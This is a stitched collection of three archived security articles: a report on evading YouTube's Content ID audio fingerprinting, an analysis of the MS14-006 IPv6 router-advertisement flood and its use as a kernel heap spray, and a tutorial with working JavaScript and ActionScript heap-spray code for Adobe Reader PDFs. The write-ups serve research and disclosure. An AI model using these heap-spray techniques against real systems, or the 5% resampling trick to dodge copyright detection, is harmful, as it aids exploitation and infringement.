to determine if the fingerprinter looks at the "beats" and rhythm of the song.  

<img src='img/Temp2_3320.gif' alt='Resampling' />

### Resampling

The entire song was modified with Audition's "Stretch" plugin. In all tests,
the Precision was set to High, and Constant Vowels was off.

For these tests, the Stretching Mode was Resample. The Ratio was changed from
test to test to create varying amounts of tempo change.

These tests created an output file with both altered pitch and altered speed
relative to the original. Quite simply, the song was played back at a faster
or slower rate than the original -- similar to a tape being played at the
wrong speed. And now I suddenly feel old.  

### Noise

The entire song was mixed with varying levels of background noise. In the
first round of tests, the song was mixed with varying levels of pure white
noise created with Audition's Noise generator\(Color=White, Style=Independent
Channels, Intensity=40\).

For the second round of tests, the entire song was played on a set of M-Audio
BX5a studio monitor speakers \(chosen because of their flat frequency response
≥100 Hz, and because they were the only ones I really had available\), and
recorded into a Canon ZR200 camcorder onto a MiniDV tape. The tape was
captured into Final Cut Pro, the resulting 48,000 Hz 16-bit audio was split
off to a wave file, and then it was converted back into 44,100 Hz in Audition.
The camera was placed at different distances and different angles relative to
the stereo field's central axis. No effort was made to keep the room quiet
during the trials, and as a result things like heaters, refrigerators, TV
flyback transformers, and running water can be heard throughout.

<img src='img/Temp2_3316.gif' alt='Amplification/Attenuation/DC Bias' />

### Amplification/Attenuation/DC Bias

The entire song had its volume adjusted by varying amounts from test to test.
For amplification tests, the song was allowed to clip hard at 0 dB, creating a
great deal of distortion on the louder trials.

In later tests, the amplification was unchanged, but a positive DC bias was
added to the signal, resulting in a great deal of distortion and the type of
audio I'm afraid to play on good speakers.

These tests were designed to see if there was any absolute volume below which
the fingerprinter couldn't detect the song. Likewise, it tested to see if any
amount of digital clipping and distortion could disrupt the detection process.  

<img src='img/Temp2_3315.gif' alt='Time Chunks' />

### Time Chunks

The song was trimmed to \(n \* 3\) seconds long, where n is a value that
changes from test to test. The kept segment of audio comes from near \(but not
exactly\) the center of the song. From 0 seconds to n seconds, the audio is
muted. Likewise, from \(n \* 2\) seconds to the end of the song, the audio is
also muted. The resulting n seconds at the center of the song are allowed to
play. If the song is shorter than \(n \* 3\) seconds, the muted sections are
shortened so the entire output file is the same length as the source.

In later tests, the muted and unmuted portions were aligned to the head and
tail ends of the song, for reasons that will be explained later.

The goal of these tests was to determine how much of the song needed to be
present to trigger a positive detection, and if the position of that section
had any effect on the detection.  

<img src='img/Temp2_3317.gif' alt='Stereo Imagery' />

### Stereo Imagery

The entire song was subjected to a series of filters that modify the audio
based on the similarities and differences between the two audio channels.

For two of the tests, the vocals were removed or isolated using Audition's
Center Channel Extractor plugin\(Extract Audio From=0° phase / 0% pan / 0ms
delay, Frequency Range=140-20,000Hz, Volume Boost Mode=off, Crossover=100%,
Phase Discrimination=4.5°, Amplitude Discrimination=6dB, Amplitude
Bandwidth=9dB, Spectral Decay Rate=0%, FFT Size=32,768, Overlays=12, Window
Width=100%\).

In the third test, both channels' waves were inverted. The phase relationship
between left and right were preserved.

In the fourth test, only the right channel's wave was inverted. The left
remained untouched. The resulting audio file is completely out-of-phase.

In the fifth test, the two channels were first averaged together, effectively
making the file mono. It still had two channels, but they contained identical
waveforms. The right channel was then taken out-of-phase in the same manner as
the fourth test. The resulting audio file is completely out-of-phase, and when
both channels are summed together, they will destroy one another and average
out to zero, or total silence.

These tests are designed to see how well the fingerprinter copes with audio
with unexpected phase alterations. Also, the later tests attempt to reveal if
the fingerprinter considers the files in stereo, or if it first converts them
into mono for analysis.  

## The Results

### No Description

Video| Modification Performed| Result  
---|---|---  
FxRVPFT5BKM| Description field left empty | FAIL   
### Reverse

Video| Modification Performed| Result  
---|---|---  
dYQn6CW4-VI| Song was reversed | PASS   
### Pitch Alteration

Video| Modification Performed| Result  
---|---|---  
7AXCbscz5Ys| Pitch was lowered 25% | PASS   
sE27S6bDocw| Pitch was lowered 10% | PASS   
6EBUGz\_k5ww| Pitch was lowered 7% | PASS   
9m5Z2p2P7YE| Pitch was lowered 6% | PASS   
U9FlSevqiA0| Pitch was lowered 5% | FAIL   
xMlx7rdpP0I| Pitch was raised 5% | FAIL   
rtL0DyACoz0| Pitch was raised 6% | PASS   
7b\_Zy2M9iWU| Pitch was raised 7% | PASS   
mkm0fIuDOOA| Pitch was raised 10% | PASS   
RudFV8HlfAI| Pitch was raised 25% | PASS   
### Time Alteration

Video| Modification Performed| Result  
---|---|---  
vIJhocJdCJg| Time was expanded 25% | PASS   
WgYeFcSl-bs| Time was expanded 10% | PASS   
Z8IUZCceVXc| Time was expanded 7% | PASS   
yo8Kg0Ws6zk| Time was expanded 6% | PASS   
mfNYWnZ9P9M| Time was expanded 5% | FAIL   
e2eg7JsVk2o| Time was compressed 5% | FAIL   
1KLRmCJgcwQ| Time was compressed 6% | PASS   
HhgN2Y7ICgU| Time was compressed 7% | PASS   
SDw7JvrfvIg| Time was compressed 10% | PASS   
S0C-0RxVe2Y| Time was compressed 25% | PASS   
### Resampling

Video| Modification Performed| Result  
---|---|---  
HuM\_gTA-Id8| Song was slowed down 25% | PASS   
T5StunpZUeo| Song was slowed down 5% | PASS   
6iFBNPpteog| Song was slowed down 4% | PASS   
lMxy9ZUXXT0| Song was slowed down 3% | FAIL   
LSTj5LhWIwY| Song was sped up 3% | FAIL   
Lzt4wIWWTz8| Song was sped up 4% | FAIL   
S-Q7uJ3ErTw| Song was sped up 5% | PASS   
\_v82g7p2Qio| Song was sped up 25% | PASS   
### Noise

Video| Modification Performed| Result  
---|---|---  
nHAdiiFsSwI| 0% white noise, 100% song | FAIL   
V-sOEWQyKyI| 25% white noise, 75% song | FAIL   
R1tRH0vBaT4| 40% white noise, 60% song | FAIL   
-XF2DYIku18| 43% white noise, 57% song | FAIL   
yuHWKDmItLQ| 44% white noise, 56% song | FAIL   
TCOq67P2-f0| 45% white noise, 55% song | PASS   
5jQqMd07yQk| 50% white noise, 50% song | PASS   
2wAHwKBIqPY| 75% white noise, 25% song | PASS   
w4fXEoJ1Tyw| 100% white noise, 0% song | PASS   
YnB82m8AA4U| Camera 5' away, 0° off-axis | FAIL   
DBEicY5e2xI| Camera 12' away, approx. 45° off-axis | PASS   
y7duUWMSIUM| Camera 31' away, 90° off-axis | FAIL   
LiR0we4xugk| Camera in next room | PASS   
### Amplification/Attenuation/DC Bias

Video| Modification Performed| Result  
---|---|---  
dOzESZj75OM| Volume was reduced 48 dB | FAIL   
TAZCzTj2ICc| Volume was reduced 24 dB | FAIL   
PnOcheExAoA| Volume was reduced 18 dB | FAIL   
FjbBPv-jwfo| Volume was reduced 12 dB | FAIL   
7Zrp4FLEtV8| Volume was reduced 6 dB | FAIL   
0cA3Ngsp2Tc| Volume was increased 6 dB | FAIL   
b06I160C1RE| Volume was increased 12 dB | FAIL   
l3ee8Mcemf4| Volume was increased 18 dB | FAIL   
HnsPvUIs5Jc| Volume was increased 24 dB | FAIL   
M6eoLBjRaHE| Volume was increased 48 dB | FAIL   
uE3Tl5uEWI4| 50% positive DC bias was added | FAIL   
IQaDdBqTd2A| 100% positive DC bias was added | FAIL   
### Time Chunks

Video| Modification Performed| Result  
---|---|---  
jHr3rSVAKMM| 5 second chunk, from center of song | PASS   
WLathwwq3BQ| 10 second chunk, from center of song | PASS   
9hPyB0zVZs8| 15 second chunk, from center of song | PASS   
NzYoOzdHe5c| 30 second chunk, from center of song | PASS   
s7gMeI2CGnw| 45 second chunk, from center of song | PASS   
FjcspXseW7Q| 60 second chunk, from center of song | PASS   
wcBA2ttDszg| 90 second chunk, from center of song | PASS   
uOPmak49TZg| 120 second chunk, from center of song | PASS   
n5peCQjsdQo| 165 second chunk, from end of song | PASS   
oJ11oWG8tRI| 30 second chunk, from start of song | FAIL   
z-vROygcHbY| 15 second chunk, from start of song | PASS   
o3-HnuDI5Oo| 15 second chunk, from 0:15 to 0:30 | PASS   
### Stereo Imagery

Video| Modification Performed| Result  
---|---|---  
zzoR1h1oKzU| Vocals were isolated | FAIL   
ONOTGscMQSU| Vocals were removed | PASS   
HAd4ejov7sE| Both channels were inverted | FAIL   
sr9mCB4uTF0| Song was knocked out-of-phase | PASS   
iGYzDV-8eEg| Song converted to mono, then knocked out-of-phase | PASS   
## What I Learned

### ... About the Content ID System

**It's everywhere:** It scans every single newly-uploaded video, no matter if
it has a title/description that seems suspicious. It generally finds them mere
minutes after the upload completes. And videos uploaded before the system was
installed aren't immune either. It looks like it's going through every single
video that has ever been uploaded to the site, looking for copyright problems.
It sounds ludicrous, but remember that YouTube is backed by Google, and Google
has plenty of hardware to throw around. I have no doubt that they'll
eventually trudge through every single video, if they haven't already
finished. I wonder how much CPU time \(and electricity\) they squandered on
this?

**It's surprisingly resilient:** I really thought it would fail some of the
amplification tests. Especially the +/-48 dB tests. One was so inaudibly
quiet, and the other was so distorted it was completely unlistenable. It found
all of them. Likewise, it could detect the sound amidst constant background
noise, until the noise level passed the 45% mark. With that much noise, it
overpowers the song you're trying to hide. Likewise, it catches all subtle
changes in pitch and tempo, requiring changes of up to 5% before it
consistently fails to identify material.

**It's rather finicky:** I can't explain why it was able to detect the
camcorder-recorded audio at 5' and 31', but not at 12'. Similarly, the vocal
removal/isolation tests should've had similar results. But then again, the
effectiveness of the Stereo Imagery tests depends entirely on how the song
itself was engineered -- Just because it turned out one way for this song,
that doesn't mean it will react the same way to the other songs with that same
modification.

**It's downright dumb:** Wrap your heads around this. When I muted the
beginning of the song up until 0:30 \(leaving the rest to play\) the
fingerprinter missed it. When I kept the beginning up until 0:30 and muted
everything from 0:30 to the end, the fingerprinter caught it. That indicates
that the content database only knows about something in the first 30 seconds
of the song. As long as you cut that part off, you can theoretically use the
remainder of the song without being detected. I don't know if  _all_ samples
in the content database suffer from similar weaknesses, but it's something
that merits further research.

**It seems to hear in mono:** When I uploaded the files with out-of-phase
audio, the tests consistently passed. When the first out-of-phase test is
played back in mono, the resulting audio sounds exactly like the Vocal Remove
test \(which also passed\). When the mono-converted/out-of-phase test is
played back in mono, both the channels cancel each other out and the result is
\(theoretically\) silence. This is what the fingerprinter hears, and what it
bases its conclusions on.

### ... About YouTube

**Apparently they don't really care about repeat infringers:** I uploaded a
total of 82 test videos to them, and received 35 Content ID emails. There are
people out there who live in constant fear of a Content ID match, thinking
that one single slip-up will get their account pulled and every single one of
their videos deleted. Not so. There was a point \(when I was uploading
"infringing" material en masse\) when I received an impressive fifteen Content
ID emails in the course of an hour. Nothing happened to the account. Now, if
this article becomes popular, then they might pull my test account manually...
But as of the release of this article, it hasn't happened yet.

**At some point between 11/22/2008 and 1/19/2009, they changed the way they
handle Content ID matches:** Initially, when a video was found to be
infringing a copyright, they'd immediately block access to it. You'd get an
email that says "We regret to inform you that your video has been blocked from
playback due to a music rights issue" and if you didn't click the link in the
email and either mute your own video or use AudioSwap on it, nobody would ever
see that video again. But now things have changed... They automatically mute
your videos now instead of blocking them outright. You still have the option
to AudioSwap it, but the emails claim that "No action is required on your
part." They conveniently leave out the fact that they silenced the audio. And
for what it's worth, AudioSwap is fucking useless. Somebody needed to say it.

**It's very evident why they choose to mute the entire audio track of a
positively ID'd video instead of just the part with the problem audio:** The
fingerprinter can only reliably say "yes, \[one particular song\] is in here,
somewhere," but it doesn't know exactly where in the video the infringing
content starts or for how long it plays. It's far easier to just nuke the
entire audio track than try to figure out precisely how to cut into it.

### ... About the Community

**They really enjoy recordings ofpure white noise:** I can't explain why
people are turning to YouTube to hear this, and why it seems like my test
account is the hip place to hear a flat power spectrum. But hey, three
comments \(almost one and a half of them intelligent\) can't be wrong.

## Conclusion

It is quite possible to thwart the YouTube Content ID system, but some methods
mangle the song too much to be used in anything useful.

In general, the majority of these workarounds are simply kludges which create
noticeable \(and often irreversible\) changes in the sound of the audio. It's
likely that some of these workarounds will never be totally fixed, as the
amount of computational complexity required to address some of the time/pitch
changes would likely create a tremendous strain on a system that's probably
already working as hard as it can.

Reversed audio consistently gets through the fingerprinter, but that's not
very useful to human listeners. Any pitch or time alterations will also work,
provided you apply a 6% or greater change to the parameter you're adjusting.

Pure noise generators will not thwart the fingerprinter until the amount of
noise overpowers the original song. Real-world noise is somewhat hit-and-miss,
but the amount of effort required to introduce such noise makes the process
less than worthwhile.

Stereo Imagery seems to work well, especially those modifications that make
the audio play out-of-phase. Unfortunately, such audio is extremely
uncomfortable to listen to in stereo mode, and it suffers from phase
cancellation in mono mode, resulting in either missing vocals or total
silence.

The most subtle approach is to use a resampling function, which simply
increases or decreases the speed of playback. For these modifications, a speed
increase of 5% or greater will work, as well as a speed reduction of 4% or
greater.

## A 5% Speed Increase? Are You Nuts?

You might think so. But let's take a step back and think about what it truly
means.

We base our Western ideas about music around the fact that the A note above
middle C is defined as 440 Hz. Now, if we increase the speed of the song by
5%, all the pitches will shift up 5% as well. That same note becomes 462 Hz.
\(For reference, the A\# above A440 is 466.164 Hz.\) In the end, 462 Hz
translates to roughly 84 cents above the A. Not quite an A\#, but kinda close.

Whether or not you can hear that depends on your level of familiarity with the
song. If it's your favorite song, and you've committed every single note of it
to memory, then yes, you'll probably be able to tell that it seems slightly
higher. But if it's a song you're not very familiar with, or one you haven't
heard in years, you might not be able to tell without referring to the
original.

To give you a bit more perspective, consider the fact that people have been
doing it for years. American films are shot at 24 frames per second. And
American television runs at 30 frames per second \(yes, I'm oversimplifying
the hell out of this\). To play film on our TVs, we simply play every 4th film
frame twice and they sync up perfectly \(again, gross oversimplification\).

But in Europe, and the other PAL territories, the TVs run at 25 frames per
second. It's a lot harder to fit 24 film frames into 25 television frames
without making an unacceptable "judder" every second. So how do they do it,
then? Quite simply, they speed the 24 FPS film \(and the audio\) up to 25 FPS.
This translates into a 4.16667% increase in speed and pitch. And I've never
heard any Europeans complain about it. \(Actually I have, but they do so in a
whiny way that just makes me ignore them.\)

## More Forbidden Uploads

The following are 5 songs that I uploaded, knowing full well that the
fingerprinter would catch them. \(I've personally witnessed videos with these
songs either muted or removed entirely.\) The left column contains videos with
unaltered audio tracks, all of which were detected. The videos in the right
column were all resampled up by 5%.

Song| Unmodified| Resampled Up 5%  
---|---|---  
Bob James - Angela | pjWenBsdj8o \(FAIL\) | VZTkq1Vpnyk \(PASS\)   
Led Zeppelin - The Lemon Song | u21PJ34J\_hg \(FAIL\) | QM4YiIjNZLI \(PASS\)   
Atreyu - Falling Down | edYOcRPqdIk \(FAIL\) | jj\_eK6v5Vpw \(PASS\)   
James Taylor - Mexico | MxTlNQKqmFM \(FAIL\) | E1tzzyV8UmU \(PASS\)   
Yes - Tempus Fugit | WXvNbs7hmI4 \(FAIL\) | -t6S\_BbybeA \(PASS\)   
## Further Reading

  * Audible Magic - Patents: Five patents, available in PDF form, which give a bit of insight into Audible Magic's core technologies.  _\(Also, I particularly enjoy the fact that the page's title reads "Careers." Somebody on the web team was asleep at the wheel...**EDIT:** As of 4/22/2009, the page title has been corrected.\)_
  * Wikipedia article on Acoustic Fingerprinting: Gives some links to similar technologies.
  * Mono Compatibility and Phase Cancellation: A brief description of phase, and why two out-of-phase signals summed together will destroy each other.
  * PAL's 4% SpeedUp: A guy who explains \(then complains about\) the PAL 4% speedup.
  * M-AUDIO - Studiophile BX5a - 70 Watt Bi-Amplified Studio Reference Monitors: The speakers used in the second round of Noise tests.
  * Canon ZR200: The camcorder used in the second round of Noise tests. \(**Warning:** Annoying-ass Flash applet with undesired sound.\)
  * Wikipedia article on Telecine: Surprisingly, the best explanation I've been able to find regarding how film frame rates are converted to video.

## Disclaimer

What you do with this information is your own responsibility. I'm not here to
condone or condemn the copyright laws in this country. I simply wanted to
point out the flaws and idiosyncrasies in a very complex system that has
become part of our modern-day culture. Always use your best judgment when
deciding what types of things to upload to YouTube or any other website which
uses similar technology. Don't be an idiot, and have a nice day.

# MS14-006: "Microsoft Windows TCP IPv6 Denial of Service Vulnerability" | CORE Security
**Created:**| _3/28/2014 4:27:48 PM_  
---|---  
**Updated:**| _3/28/2014 4:27:48 PM_  
**Author:**| __  
**Tags:**| _windows vulnerability ipv6_  
  

# MS14-006: “Microsoft Windows TCP IPv6 Denial of Service Vulnerability”

Hi everyone,  
I would like to make some comments about the Microsoft MS14-006 update.

In the last February Patch Tuesday, Microsoft released a fix for the TCP
Windows driver \(tcpip.sys\).  
According to the patch bulletin “https://technet.microsoft.com/en-
us/security/bulletin/ms14-006” only Windows 8 and Windows 2012 were
vulnerable.

Diffing Windows 8, more exactly “tcpip.sys” version 6.2.9200.16659 vs
“tcpip.sys” version 6.2.9200.16754 I found several patched functions like
these:

  * \- Ipv6pSendRouterAdvertisementOnSubInterface
  * \- Ipv6pHandleRouterAdvertisement
  * \- Ipv6pUpdateSitePrefix

Looking at the “Microsoft Security Research and Defense Blog”
\(“http://blogs.technet.com/b/srd“\) I found a comment about how to exploit
the TCP bug: “Attacker on the same subnet as victim \(IPv6 link-local\) sends
large number of malicious router advertisements resulting in victim system
bugcheck.”

As key notes I found this: “This bugcheck is triggered by a watchdog timer on
the system, not due to memory corruption. Affects Windows RT, Windows Server
2012 \(not R2\), and Windows 8 \(not 8.1\).”

Trying to understand where the watchdog timer is, I decided to put focus in
the “Ipv6pUpdateSitePrefix” function.

**  
The “Ipv6pUpdateSitePrefix” function  
** First at all, it’s important to say that the “Ipv6pUpdateSitePrefix”
function is present in all Windows versions, both 32 and 64 bits version, and
it’s executed when IPv6 is enabled.

Looking at changed functions I noted that the “Ipv6pUpdateSitePrefix” function
had a security patch.  
Essentially, this fix added a comparision against the number 10.

<img src='img/Temp2_5056.png' width='300' height='109'
alt='Ipv6pUpdateSitePrefix_w8_patch' />

10 of what ?  
Well, it took me little time to find the answer.  
This function processes “prefix” addresses sent by routers.  
If the “prefix” address is not in the “prefix address list”, it will be added.

What is a prefix address sent by a router in a “Router Advertisement” message
?  
You can find information here: “http://tools.ietf.org/html/rfc4862”

**  
The Bug  
** Now, I’ll say that again: each new prefix address will be added to a list
in memory if it’s not already found on this.

It means that if 1 million different prefix addresses are sent by routers,
attackers, etc., this function will repeat the process for each prefix
received ending in CPU and/or MEMORY exhaustion.

After confirming my suspicions, I realized that the comparison with the number
10 added by the patch is the limit of elements to be added in this list.

It’s important to clarify that the target doesn’t check if the “Router
Advertisement” packet is sent by a real router, so putting a fake source
address in the ICMPv6 packet is enough.

Things became interesting when I checked the Windows 7 kernel …

**  
The Unpatched Bug  
** When I decided to check “tcpip.sys” in Windows 7, I noticed that the check
against the number 10 wasn’t there.

Looking at Microsoft’s Non-affected software list I could see that:

<img src='img/Temp2_5052.png' alt='target_list' />

When I finished the first exploit version, I launched it against my Windows 7
and the result was my computer with its CPU running at 100%, without memory to
process anything, without network response and without a fix …

Improving the attack, if each packet to be sent has the “Autonomous address-
configuration flag” enabled, the target will die much faster.

<img src='img/Temp2_5053.png' alt='w7-screenshot' />

At that moment, Core decided to send an email to Microsoft reporting this
behavior, and the answer was something like this: “We fixed this bug because
Windows 8 and Windows 2012 could produce a BSOD, but the rest of the OSs not”
… nice …

Their reply included this link: “http://www.mh-sec.de/downloads/mh-
RA\_flooding\_CVE-2010-multiple.txt“, explaining that this bug was reported
before there.  
If you follow that link, at the end of the “Overview” section you can see a
funny comment.

**  
Another use for this Bug  
** It’s easy to understand that if a target receives an attack like the one
described, in few minutes it won’t respond to UI interaction, network
requests, etc. even if it has multiple cores …

But there’s another very interesting use for this vulnerability.

As I said before, if a prefix address is not in the prefix address list, it
will be added.

Now, in Windows 32 bit versions, each new prefix address to add will use 0×28
bytes in the kernel memory.  
It means that, if I send 1 million addresses, it will use 1.000.000 x 0×28 =
38MB of kernel memory but if I send 54 million it will use about 2GB … danger
… the 32 bit Windows kernel can’t address more that 2GB.

During the attack, if we take a snapshot of the Windows’s kernel heap, we can
find something like that:

Consecutive chunks \(“NPpt” and “Ipng”\) allocated in the same kernel address
page:

<img src='img/Temp2_5055.png' alt='w7_pool' />

The content of the kernel address page:

<img src='img/Temp2_5054.png' alt='w7_memory_dump' />

You can see a highlighted line where the content is a prefix sent by the
exploit, in this case, the prefix address is:
“4141:4141:0003:db70:4141:4141:4141:4141″.  
A very similar pattern is repeated in all the content of the memory page and
in the most mapped memory kernel pages.  
Besides, other controlable values can be found in the same memory chunk.

As a consequence, this bug can be used as a heap spray method to fill the
kernel memory.

Although it’s not very useful by itself but it could be combined with another
vulnerability resulting in what could be a very reliable attack.

I remember some critical remote vulnerabilities where a good remote kernel
heap spray was necessary to make a reliable exploitation \(E.g
“http://technet.microsoft.com/en-us/security/bulletin/ms12-020“\).

**  
Linux is vulnerable too  
** These days this vulnerability was also reported in Linux, with
CVE-2014-2309 assigned to it.

Some interesting links about the Linux vulnerability:  
\* http://www.openwall.com/lists/oss-security/2012/10/10/8  
\* http://permalink.gmane.org/gmane.comp.security.oss.general/12309  
\* http://seclists.org/oss-sec/2014/q1/526

Below you can see the result of the same exploit against “Ubuntu 13.04 32
bits”

<img src='img/Temp2_5057.png' alt='linux-crash' />

**  
Final notes  
** You can see that this bug was reported before, not only to Microsoft, but
nobody paid close attention.

Many OS’s kernel are still vulnerable.

I would like to believe that a memory list in kernel without a size limit
should be considered a security bug when an attacker is able to freeze the
target by sending a big number of crafted packets.

Nicolas Economou

To comment on this post, please CLICK HERE

Posted by: Nicolas Economou at 4:43 pm

This entry was posted on Tuesday, March 25th, 2014 at 4:43 pm and is filed
under Technical Best Practices. You can follow any responses to this entry
through the RSS 2.0 feed. You can leave a response, or trackback from your own
site.

# Filling Adobe’s heap … « Feliam's Blog

**Created:**| _2/17/2010 12:25:48 AM_  
---|---  
**Updated:**| _2/17/2010 12:25:54 AM_  
**Author:**| __  
**Tags:**| _Exploit_  
  

## Filling Adobe’s heap …

By feliam

This post is about how to fill the Adobe Readers Heap. We’ll summarize and put in practice 3 ways of filling Adobe Reader memory. The idea is that when Adobe finnish parsing our PDF we could be pretty sure that at some fixed address there will be controled data. We’re not going to do any fancy feng-shui or heap massage, the idea of this is just to show 3 practical known ways for filling the Reader process memory. Can we fill it? | <img src='img/Temp2_3145.png' width='180' height='156' />  
---|---  
”’In computer security, **heap spraying** is a technique used inexploits to
facilitate arbitrary code execution. In general, code that _sprays the heap_
attempts to put a certain sequence of bytes at a predetermined location in the
memory of a target process by having it allocate \(large\) blocks on the
process’ heap and fill the bytes in these blocks with the right values. They
commonly take advantage from the fact that these heap blocks will roughly be
in the same location every time the heap spray is run. ”’

The basic idea is to make the target process allocate BIG chunks of memory
forcing the underlying memory allocator to align those at some 0×1000 border.
There isASLR and you can’t predict where a freshly allocated chunk of memory
is going to be. But if the amount of asked memory is big enough, when
allocated, it will be aligned at some 0×1000 border in most OSs. An allocation
size of 0×100000 bytes works in XP and linux2.6.32 \(32bits\). Probably this
will continue to be this way for a long time due to memory usage performance
reasons. Think embedded\!

Objective: Have some degree of certainty about what’s on a fixed memory
address.

Needs:  
a\) Big allocations should be aligned to some 0×1000 byte border.  
b\) Being able to do a lot of big allocations programatically.  
c\) Controlling what’s inside our big allocations.

Wikipedia says that there are 3 ways of implementing a heap spray: Javascript,
ActionScript, and Images. So we’ll honor those 3:

## The JS way

This is the most popular and most used way to play with memory allocations
programatically. There are a lot of research and practical examples about
this. I personally have started from here. We are targeting PDFs so it has one
BIG drawback: you need to have Javascript interpreter on the target process.
Interestingly Adobe Reader supports JS heap spraying.

The following JS code will construct a 0×100000 bytes long memory chunk made
out of the concatenation of several %%minichunk%%. And then copy 300 times
those 0×100000 bytes long chunk to 300 different newly allocated memory.

[code]

    var slide_size=0x100000;
    var size = 300;
    var x = new Array(size);
    var chunk = %%minichunk%%;
    
    while (chunk.length <= slide_size/2)
        chunk += chunk;
    
    for (i=0; i < size; i+=1) {
        id = ""+i;
        x[i]= chunk.substring(4,slide_size/2-id.length-20)+id;
    }
    
    
[/code]

That %%minichunk%% is a place holder that is going to be filled by the python
that will generate the PDF file. If we made that %%minichunk%% of exactly
0×1000 bytes of controled data, any 0×1000 aligned byte inside the big chunk
will have the first byte of the minichunk. Now as we’ll put 300 times the big
chunk we could speculate where the OS will put at least one of those.

Ok let’s try it\! we’ll modify a little bit the python from here so it
contains the spraying JS. The new python file looks like this.

Let’s create the pdf:

python JSSpray.py >JSSpray.pdf

and try it with Adobe Reader:

acroread JSSpray.pdf

Its running\! Now get its PID and check its memory footprint:

[code]

    ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread
    8197 426104K /opt/Adobe/.../bin/acroread JSSpray.pdf
    
    
[/code]

OK 400Megabytes\! It seems to be working\!  
Let’s check out its memory mappings…

cat /proc/8197/maps |head -n16

[code]

    08048000-0970b000 r-xp 00000000 08:01 1754759 ..bin/acroread
    0970b000-09792000 rwxp 016c2000 08:01 1754759 ..bin/acroread
    09792000-097a0000 rwxp 00000000 00:00 0
    098f9000-0b0bc000 rwxp 00000000 00:00 0       [heap]
    a0200000-a0221000 rwxp 00000000 00:00 0
    a0221000-a0300000 ---p 00000000 00:00 0
    a0389000-a038a000 ---p 00000000 00:00 0
    a038a000-a0c8a000 rwxp 00000000 00:00 0
    a0d8a000-a0e8a000 rwxp 00000000 00:00 0
    a0f89000-a0f8a000 ---p 00000000 00:00 0
    a0f8a000-a138a000 rwxp 00000000 00:00 0
    a13e2000-a188a000 rwxp 00000000 00:00 0
    a192a000-a198a000 rwxs 00000000 00:08 2654222 /SYSV0.. (del)
    a198a000-b3b8a000 rwxp 00000000 00:00 0
    b3b8a000-b3d8b000 rwxp 00000000 00:00 0
    b3e4e000-b3f4e000 rwxp 00000000 00:00 0
    
    
[/code]

…

a198a000-b3b8a000 is probably the key. Let’s take a look with the debugger…

[code]

    gdb
    GNU gdb (Gentoo 7.0 p1) 7.0
    Copyright (C) 2009 Free Software Foundation, Inc.
    (gdb) attach 8197
    (gdb) x/8x 0xb0000000+0x1000*0
    0xb0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xb0000010: 0x41414141 0x41414141 0x41414141 0x41414141
    (gdb) x/8x 0xb0000000+0x1000*1
    0xb0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xb0001010: 0x41414141 0x41414141 0x41414141 0x41414141
    (gdb) x/8x 0xb0000000+0x1000*2
    0xb0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xb0002010: 0x41414141 0x41414141 0x41414141 0x41414141
    
    
[/code]

It worked\! We got the same values from memory 0×1000 aligned. We just need to
hope some of our 300Megabytes were put in the 0xb0000000 address. The JS
spraying PDF version is here.

## The ActionScript way

For the actual Actionscript part of this we’ll pick up from here. And for the
PDF part we’ll take the SWF into PDF tool from this post.

OK, the the following Haxe code will allocate a configurable number of times
some 0×100000 bytes long memory chunks composed from the concatenation of the
passed minichunks.  
It expects as a parameter the content of the minichunk and the number of times
it should replicate the ‘big’ 0×100000 bytes long chunk. For more info about
AS sprays check this and that.

[code]

    class MySpray
    {
     static var Memory = new Array();
     static var chunk_size = 0x100000;
     static var chunk_num;
     static var minichunk;
     static var t;
    
     static function main()
     {
      minichunk = flash.Lib.current.loaderInfo.parameters.minichunk;
      chunk_num = Std.parseInt(flash.Lib.current.loaderInfo.parameters.N);
      t = new haxe.Timer(7);
      t.run = doSpray;
     }
    
     static function doSpray()
     {
      var chunk = new flash.utils.ByteArray();
    
      while(chunk.length < chunk_size)
       {
          chunk.writeMultiByte(minichunk, 'us-ascii');
       }
    
       for(i in 0...chunk_num)
       {
         Memory.push(chunk);
       }
    
       chunk_num--;
       if(chunk_num == 0)
       {
         t.stop();
       }
     }
    }
    
    
[/code]

Of course, it needs haxe to compile. And it compiles to Flash 9 issuing this
command:

haxe -main MySpray -swf9 MySpray.swf

Once you have the swf file you may insert it into a pdf file using this py
from thispost.

[code]

    python SWFSpray.py MySpray.swf "N=300&minichunk=<<<>>>" > SWFSpray.pdf
    
    
[/code]

OK, Let’s run Adobe Reader:

acroread JSSpray.pdf

… get its PID and check its memory footprint:

[code]

    ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread
    8234 568144K /opt/Adobe/.../bin/acroread SWFSpray.pdf
    
    
[/code]

OK 500Megabytes\! It seems to be working\!

Let’s check out its memory mappings…

[code]

    cat /proc/8234/maps |head -n16
    08048000-0970b000 r-xp 00000000 08:01 1754759 ../bin/acroread
    0970b000-09792000 rwxp 016c2000 08:01 1754759 ../bin/acroread
    09792000-097a0000 rwxp 00000000 00:00 0
    0a712000-0ccda000 rwxp 00000000 00:00 0       [heap]
    980f6000-983f6000 rwxp 00000000 00:00 0
    983f6000-990f6000 ---p 00000000 00:00 0
    990f6000-9a1f6000 rwxp 00000000 00:00 0
    9a261000-9a429000 rwxp 00000000 00:00 0
    9a5f0000-9b8f0000 rwxp 00000000 00:00 0
    9b90a000-9cb0a000 rwxp 00000000 00:00 0
    9cbee000-9ddee000 rwxp 00000000 00:00 0
    9de9c000-9f09c000 rwxp 00000000 00:00 0
    9f114000-a0314000 rwxp 00000000 00:00 0
    a0356000-a1456000 rwxp 00000000 00:00 0
    a145e000-a245e000 rwxp 00000000 00:00 0
    a254e000-a354e000 rwxp 00000000 00:00 0
    ...
    
    
[/code]

Let’s see what’s inside 9f114000-a0314000 with the debugger…

[code]

    gdb
    GNU gdb (Gentoo 7.0 p1) 7.0
    Copyright (C) 2009 Free Software Foundation, Inc.
    (gdb) attach 8234
    (gdb) x/8x 0xa0000000+0x1000*0
    0xa0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xa0000010: 0x41414141 0x41414141 0x41414141 0x41414141
    (gdb) x/8x 0xa0000000+0x1000*1
    0xa0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xa0001010: 0x41414141 0x41414141 0x41414141 0x41414141
    (gdb) x/8x 0xa0000000+0x1000*2
    0xa0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xa0002010: 0x41414141 0x41414141 0x41414141 0x41414141
    
    
[/code]

It also worked\! It feels a little slow though.

